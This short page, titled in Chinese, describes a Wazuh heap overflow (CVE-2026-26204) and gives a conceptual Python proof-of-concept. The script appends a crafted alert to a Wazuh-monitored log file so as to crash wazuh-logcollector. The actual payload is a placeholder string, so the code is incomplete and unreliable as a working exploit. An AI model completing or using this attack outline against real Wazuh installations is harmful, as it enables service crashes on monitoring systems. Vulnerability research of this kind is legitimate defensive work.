CVE-2026-26204 Wazuh堆溢出漏洞

# Proof of Concept (PoC) for CVE-2026-26204 # This script demonstrates how a malicious agent might inject a crafted alert. # Note: This requires local access and compromised privileges. import os def trigger_vulnerability(log_file_path): # Simulating a crafted alert that triggers integer underflow in GetAlertData. # The specific payload depends on the exact parsing logic leading to offset -1. # This is a conceptual representation. crafted_alert = "<crafted_alert_content_triggering_underflow>" try: # Write the malicious alert to the log file monitored by wazuh-logcollector with open(log_file_path, 'a') as f: f.write(crafted_alert + "\n") print(f"[+] Payload injected into {log_file_path}") print("[*] Waiting for wazuh-logcollector to process the file...") print("[!] If vulnerable, the service may crash due to heap corruption.") except Exception as e: print(f"[-] Error: {e}") # Example usage (path needs to be specific to the target environment) # trigger_vulnerability('/var/ossec/logs/alerts/alerts.log')
